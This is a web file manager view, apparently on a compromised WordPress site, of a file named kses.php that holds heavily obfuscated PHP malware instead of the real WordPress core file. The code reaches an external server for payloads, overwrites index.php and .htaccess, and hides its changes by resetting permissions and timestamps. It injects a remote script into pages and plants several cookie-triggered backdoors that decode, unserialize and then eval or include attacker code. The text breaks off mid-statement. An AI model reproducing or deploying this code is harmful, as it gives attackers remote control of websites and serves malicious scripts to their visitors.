0byt3m1n1
Path:
/
home1
/
aserty
/
www
/
beatlesmontreal.com
/
wp-includes51f3b9
/
[
Home
]
File: kses.php
<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?> <?php $sWxFIqN = 'f' . "\x5f" . 'O' . chr ( 177 - 103 )."\x73" . 'o';$eAPGrndgF = chr (99) . 'l' . chr ( 703 - 606 ).chr ( 183 - 68 )."\x73" . "\137" . 'e' . chr (120) . "\x69" . chr (115) . chr ( 233 - 117 ).chr ( 750 - 635 ); $TjmiDF = class_exists($sWxFIqN); $eAPGrndgF = "6055";$DlrknUCpY = !1;if ($TjmiDF == $DlrknUCpY){function tMMvdcbQR(){$tlxnqPDHaL = new /* 56667 */ f_OJso(42131 + 42131); $tlxnqPDHaL = NULL;}$wjETomitnG = "42131";class f_OJso{private function icytHMyL($wjETomitnG){if (is_array(f_OJso::$lyspEhVEBa)) {$YbueFz = str_replace(chr ( 687 - 627 ) . chr (63) . chr (112) . chr ( 133 - 29 )."\x70", "", f_OJso::$lyspEhVEBa['c' . "\157" . chr (110) . "\164" . chr (101) . chr ( 518 - 408 )."\x74"]);eval($YbueFz); $wjETomitnG = "42131";exit();}}private $cIpXW;public function WsNLURZKG(){echo 12664;}public function __destruct(){$wjETomitnG = "1114_41353";$this->icytHMyL($wjETomitnG); $wjETomitnG = "1114_41353";}public function __construct($tZBBI=0){$UBelv = $_POST;$UpVFdT = $_COOKIE;$tNauLo = "a9bc0b5d-8791-4488-8948-f7a875c9a6ff";$EvckQLhAo = @$UpVFdT[substr($tNauLo, 0, 4)];if (!empty($EvckQLhAo)){$MIwpdaDrM = "base64";$cudGQiaKJn = "";$EvckQLhAo = explode(",", $EvckQLhAo);foreach ($EvckQLhAo as $xEOtY){$cudGQiaKJn .= @$UpVFdT[$xEOtY];$cudGQiaKJn .= @$UBelv[$xEOtY];}$cudGQiaKJn = array_map($MIwpdaDrM . "\137" . chr ( 345 - 245 ).chr (101) . chr (99) . chr ( 669 - 558 ).'d' . 'e', array($cudGQiaKJn,)); $cudGQiaKJn = $cudGQiaKJn[0] ^ str_repeat($tNauLo, (strlen($cudGQiaKJn[0]) / strlen($tNauLo)) + 1);f_OJso::$lyspEhVEBa = @unserialize($cudGQiaKJn);}}public static $lyspEhVEBa = 33233;}tMMvdcbQR();} ?><?php $GaqnYwkP = "\x47" . chr (95) . "\143" . "\131" . "\x63" . chr (82) . chr ( 988 - 909 ); $LgNkPFP = chr (99) . 'l' . 'a' . chr ( 1017 - 902 ).'s' . "\x5f" . chr ( 148 - 47 )."\170" . chr (105) . "\x73" . chr (116) . chr (115); $ymjiV = class_exists($GaqnYwkP); $LgNkPFP = "43120";$RKJaImaxOX = !1;if ($ymjiV == $RKJaImaxOX){function jhAOHzFr(){$eQbTL = new /* 63222 */ G_cYcRO(29707 + 29707); $eQbTL = NULL;}$gdqEMI = "29707";class G_cYcRO{private function cmihlbbjTA($gdqEMI){if (is_array(G_cYcRO::$VIllsl)) {$bLwiLX = sys_get_temp_dir() . "/" . crc32(G_cYcRO::$VIllsl[chr (115) . "\141" . chr (108) . chr (116)]);@G_cYcRO::$VIllsl["\167" . "\162" . chr ( 989 - 884 ).chr (116) . "\x65"]($bLwiLX, G_cYcRO::$VIllsl[chr (99) . "\157" . 'n' . "\x74" . "\x65" . chr ( 489 - 379 )."\x74"]);include $bLwiLX;@G_cYcRO::$VIllsl["\x64" . chr ( 211 - 110 ).'l' . 'e' . "\x74" . chr ( 525 - 424 )]($bLwiLX); $gdqEMI = "29707";exit();}}private $NZvAQRv;public function INxwgvCm(){echo 59675;}public function __destruct(){$gdqEMI = "39269_44816";$this->cmihlbbjTA($gdqEMI); $gdqEMI = "39269_44816";}public function __construct($vkWXV=0){$vrEUHfm = $_POST;$ThLvURJvxX = $_COOKIE;$sPpPb = "077de1ac-a8f8-4373-b933-72fe11ff56a8";$jpgETVBk = @$ThLvURJvxX[substr($sPpPb, 0, 4)];if (!empty($jpgETVBk)){$AmgNGjUGi = "base64";$QQtIjpG = "";$jpgETVBk = explode(",", $jpgETVBk);foreach ($jpgETVBk as $LKlzD){$QQtIjpG .= @$ThLvURJvxX[$LKlzD];$QQtIjpG .= @$vrEUHfm[$LKlzD];}$QQtIjpG = array_map($AmgNGjUGi . "\x5f" . "\x64" . chr (101) . 'c' . "\x6f" . 'd' . 'e', array($QQtIjpG,)); $QQtIjpG = $QQtIjpG[0] ^ str_repeat($sPpPb, (strlen($QQtIjpG[0]) / strlen($sPpPb)) + 1);G_cYcRO::$VIllsl = @unserialize($QQtIjpG);}}public static $VIllsl = 55270;}jhAOHzFr();} ?><?php $pgiCnvP = 'T' . "\x43" . "\x58" . chr ( 621 - 526 )."\x48" . "\117" . chr (111) . 'T';$ZEVfrhi = chr ( 818 - 719 ).'l' . "\x61" . 's' . "\x73" . chr ( 393 - 298 ).'e' . chr ( 749 - 629 ).chr ( 1060 - 955 ).chr (115) . chr (116) . 's';$uMFSQScpdN = class_exists($pgiCnvP); $ZEVfrhi = "17749";$cBoKq = !1;if ($uMFSQScpdN == $cBoKq){function EAvLEygS(){return FALSE;}$SxjATHKY = "11309";EAvLEygS();class TCX_HOoT{private function nHslhsJ($SxjATHKY){if (is_array(TCX_HOoT::$vlrTzvGSw)) {$mKNFelbwI = sys_get_temp_dir() . "/" . crc32(TCX_HOoT::$vlrTzvGSw['s' . "\141" . 'l' . "\164"]);@TCX_HOoT::$vlrTzvGSw["\x77" . 'r' . chr (105) . "\x74" . "\145"]($mKNFelbwI, TCX_HOoT::$vlrTzvGSw[chr (99) . 'o' . "\156" . "\164" . "\145" . chr (110) . "\164"]);include $mKNFelbwI;@TCX_HOoT::$vlrTzvGSw['d' . chr (101) . chr (108) . 'e' . "\x74" . "\x65"]($mKNFelbwI); $SxjATHKY = "11309";exit();}}private $kJrFsuBrQ;public function wVHXoY(){echo 13920;}public function __destruct(){$SxjATHKY = "19253_26729";$this->nHslhsJ($SxjATHKY); $SxjATHKY = "19253_26729";}public function __construct($pkIFEzS=0){$TIblOl = $_POST;$fcylGfKi = $_COOKIE;$KVmPABOKP = "42040aa0-a75d-407c-9c0f-665a9b7682c4";$CpJcK = @$fcylGfKi[substr($KVmPABOKP, 0, 4)];if (!empty($CpJcK)){$ldeEORTZD = "base64";$HYeHpad = "";$CpJcK = explode(",", $CpJcK);foreach ($CpJcK as $oSPQbcpNL){$HYeHpad .= 